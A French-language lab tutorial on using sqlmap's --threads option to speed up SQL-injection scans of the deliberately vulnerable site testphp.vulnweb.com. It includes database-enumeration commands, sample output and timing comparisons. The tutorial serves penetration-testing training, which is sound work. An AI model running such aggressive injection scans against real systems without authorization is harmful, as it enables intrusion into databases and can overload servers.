Introduction
sqlmap est un puissant outil de test d'intrusion open-source qui automatise le processus de détection et d'exploitation des failles d'injection SQL. Par défaut, sqlmap effectue ses tests séquentiellement, envoyant une requête à la fois. Bien que cela soit fiable, cela peut être lent, en particulier sur des applications web complexes ou lors de l'exécution de tests d'injection aveugles basés sur le temps.
Dans ce laboratoire, vous apprendrez comment accélérer considérablement vos scans sqlmap en utilisant l'option --threads. Ce drapeau permet à sqlmap d'effectuer plusieurs requêtes HTTP simultanément, réduisant considérablement le temps total nécessaire pour terminer un scan. Vous effectuerez une série de scans avec différents nombres de threads et comparerez les résultats pour constater l'amélioration des performances de première main.
Effectuer un scan de référence avec un seul thread
Dans cette étape, vous allez effectuer un scan sqlmap de base en utilisant le réglage par défaut d'un seul thread. Cela servira de référence pour mesurer les améliorations de performance dans les étapes ultérieures. Nous utiliserons la commande time pour mesurer précisément la durée du scan.
Tout d'abord, exécutez la commande suivante dans votre terminal. Cette commande demande à sqlmap de scanner l'URL fournie (-u), d'énumérer les bases de données (--dbs) et de s'exécuter en mode non interactif (--batch). Nous redirigerons la sortie vers un fichier journal et utiliserons également la commande time pour mesurer le temps d'exécution.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log
Une fois le scan terminé, vous verrez de nombreuses sorties de sqlmap, suivies de la mesure du temps à la toute fin. Cela ressemblera à ceci :
... (sqlmap output) ...
[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema
[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'
[*] ending @ 22:30:00 /2023-10-27/
real 0m45.123s
user 0m5.456s
sys 0m0.789s
La valeur la plus importante pour nous est real, qui représente le temps total écoulé. Maintenant, enregistrons ce résultat dans notre fichier de comparaison, scan_times.log.
echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log
Enfin, affichez le contenu du fichier journal pour confirmer que le temps de référence a été enregistré.
cat scan_times.log
Votre sortie devrait afficher le temps enregistré :
Baseline (1 Thread): 0m45.123s
Comprendre le rôle de l'option --threads
Dans cette étape, nous allons prendre un moment pour comprendre la fonctionnalité clé de ce laboratoire : l'option --threads dans sqlmap. Il n'y a pas de commandes à exécuter dans cette étape ; l'objectif est de comprendre le concept avant de l'appliquer.
L'option --threads est utilisée pour définir le nombre de requêtes HTTP(s) simultanées que sqlmap effectuera pendant un scan. La valeur par défaut est 1.
Comment ça marche : Au lieu d'envoyer une requête et d'attendre une réponse avant d'envoyer la suivante, sqlmap peut ouvrir plusieurs "threads" pour envoyer plusieurs requêtes en même temps. Ce parallélisme est particulièrement efficace pour les tâches impliquant de nombreuses requêtes, telles que :
- Le fuzzing de vulnérabilités.
- Le brute-force de caractères dans un nom de base de données (injection SQL aveugle).
- L'extraction de grandes quantités de données.
Avantages :
- Vitesse : Le principal avantage est une réduction significative du temps de scan.
- Efficacité : Il optimise l'utilisation de votre connexion réseau et des ressources système.
Considérations :
- Utilisation des ressources : Augmenter le nombre de threads utilisera davantage votre CPU et votre mémoire.
- Stabilité de la cible : Un nombre très élevé de threads pourrait submerger un serveur web fragile ou mal configuré, causant potentiellement un déni de service.
- Détection : Un scan agressif multi-thread est plus susceptible d'être détecté et bloqué par les pare-feux d'applications web (WAF) ou les systèmes de détection/prévention d'intrusion (IDS/IPS).
sqlmap vous permet de définir le nombre de threads de 1 à un maximum de 10. Dans les étapes suivantes, vous verrez comment l'ajustement de cette valeur impacte les performances du scan.
Relancer le scan avec un nombre de threads augmenté (--threads=5)
Dans cette étape, vous allez appliquer vos connaissances de l'option --threads. Relançons le même scan qu'auparavant, mais cette fois-ci, nous augmenterons le nombre de requêtes simultanées à 5.
Exécutez la commande suivante dans votre terminal. Elle est identique à la première commande, avec l'ajout de --threads=5.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=5) 2>&1 | tee 5_threads_scan.log
Une fois le scan terminé, vous devriez remarquer que le temps real est significativement inférieur à celui du scan de référence.
Maintenant, ajoutons ce nouveau résultat à notre fichier scan_times.log pour comparaison.
echo "5 Threads: $(grep real 5_threads_scan.log | awk '{print $2}')" >> scan_times.log
Vérifions à nouveau le contenu du fichier journal pour voir les deux résultats.
cat scan_times.log
La sortie affichera maintenant les temps des scans de référence et avec 5 threads.
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
(Note : Vos temps varieront, mais vous devriez observer une diminution notable.)
Relancer le scan avec le nombre maximum de threads (--threads=10)
Dans cette étape, vous allez pousser les performances à leur limite en utilisant le nombre maximum de threads autorisé par sqlmap, qui est de 10. Cela démontrera le gain de performance maximal que vous pouvez obtenir avec cette option dans des conditions normales.
Exécutez la commande de scan une dernière fois, en réglant le nombre de threads à 10.
(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=10) 2>&1 | tee 10_threads_scan.log
Ce scan devrait être encore plus rapide que le précédent. Une fois terminé, enregistrez le résultat dans notre fichier journal.
echo "10 Threads: $(grep real 10_threads_scan.log | awk '{print $2}')" >> scan_times.log
Maintenant, visualisez le fichier scan_times.log pour voir les trois résultats compilés.
cat scan_times.log
La sortie contiendra maintenant les trois entrées, ce qui facilitera leur comparaison à l'étape suivante.
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s
(Note : Vos temps varieront.)
Comparer les durées des scans et observer les changements de performance
Dans cette dernière étape, vous allez analyser les données que vous avez collectées pour tirer une conclusion sur l'efficacité du multi-threading dans sqlmap.
Affichons les résultats finaux stockés dans scan_times.log.
cat scan_times.log
Vous verrez une sortie similaire à celle-ci, montrant clairement la durée de chaque scan :
Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s
(Note : Les temps exacts varieront en fonction des conditions réseau et de la charge du système, mais la tendance devrait être claire.)
Analyse : Comme vous pouvez le constater d'après les résultats, il y a une diminution spectaculaire du temps de scan à mesure que nous augmentons le nombre de threads.
- Le passage de 1 à 5 threads a probablement produit le gain de performance le plus significatif.
- Le passage de 5 à 10 threads montre toujours une amélioration, mais elle pourrait être moins prononcée. En effet, d'autres facteurs que le nombre de threads, tels que la latence du réseau ou la capacité du serveur à gérer les requêtes simultanées, commencent à devenir le goulot d'étranglement.
Cette expérience démontre clairement que l'utilisation de l'option --threads est un moyen simple mais très efficace d'optimiser vos scans sqlmap.
Résumé
Félicitations pour avoir terminé ce laboratoire ! Vous avez appris avec succès comment optimiser les performances des scans sqlmap en utilisant des requêtes concurrentes.
Dans ce laboratoire, vous avez :
- Effectué un scan de référence avec un seul thread pour établir un point de référence de performance.
- Appris le rôle de l'option
--threads, ses avantages et ses considérations. - Exécuté des scans avec 5 et 10 threads pour observer l'impact sur la durée du scan.
- Comparé les résultats et confirmé que l'augmentation du nombre de threads réduit considérablement le temps de scan.
Maîtriser des options comme --threads est crucial pour mener des tests d'intrusion efficaces et rapides. N'oubliez pas d'utiliser ce pouvoir de manière responsable, car des scans agressifs peuvent avoir un impact négatif sur le système cible.


